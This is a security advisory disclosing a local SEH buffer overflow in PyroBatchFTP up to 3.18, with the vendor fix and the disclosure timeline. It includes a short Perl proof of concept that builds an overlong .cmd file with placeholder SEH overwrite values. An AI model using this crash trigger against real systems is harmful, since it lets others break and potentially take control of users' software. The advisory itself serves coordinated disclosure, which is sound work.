PyroBatchFTP < 3.19 - Buffer Overflow

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MGC ALERT 2018-001
- Original release date: December 22, 2017
- Last revised:  January 12, 2018
- Discovered by: Manuel García Cárdenas
- Severity: 7,5/10 (CVSS Base Score)
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I. VULNERABILITY
-------------------------
PyroBatchFTP <= 3.18 - Local Buffer Overflow (SEH)

II. BACKGROUND
-------------------------
PyroBatchFTP is a Windows software that lets you exchange files with FTP,
FTPS or SFTP servers in an automatic and unattended way, using a simple yet
powerful batch/script language.

III. DESCRIPTION
-------------------------
The Enterprise version of PyroBatchFTP is affected by a Local Buffer
Overflow vulnerability.

The application does not check bounds when reading the file that will
execute the script, resulting in a classic Buffer Overflow overwriting SEH
handler.

To exploit the vulnerability only is needed create a local script to
interact with the application.

IV. PROOF OF CONCEPT
-------------------------

my $file= "crash.cmd";
my $junk= "A" x 2052;
my $nseh = "BBBB";
my $seh = "CCCC";
open($FILE,">$file");
print $FILE $junk.$nseh.$seh;
close($FILE);
print "File Created successfully\n";

V. BUSINESS IMPACT
-------------------------
Availability compromise can result from these attacks.

VI. SYSTEMS AFFECTED
-------------------------
PyroBatchFTP <= 3.18

VII. SOLUTION
-------------------------
Vendor release 3.19 version
http://www.emtec.com/downloads/pyrobatchftp/pyrobatchftp319_changes.txt

VIII. REFERENCES
-------------------------
https://www.emtec.com/pyrobatchftp/index.html

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
December 22, 2017 1: Initial release
January 12, 2018 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
December 22, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
December 22, 2017 2: Send to vendor
January 12, 2018 3: Vendor fix the vulnerability and release a new version
January 12, 2018 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
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The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
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Manuel Garcia Cardenas
Pentester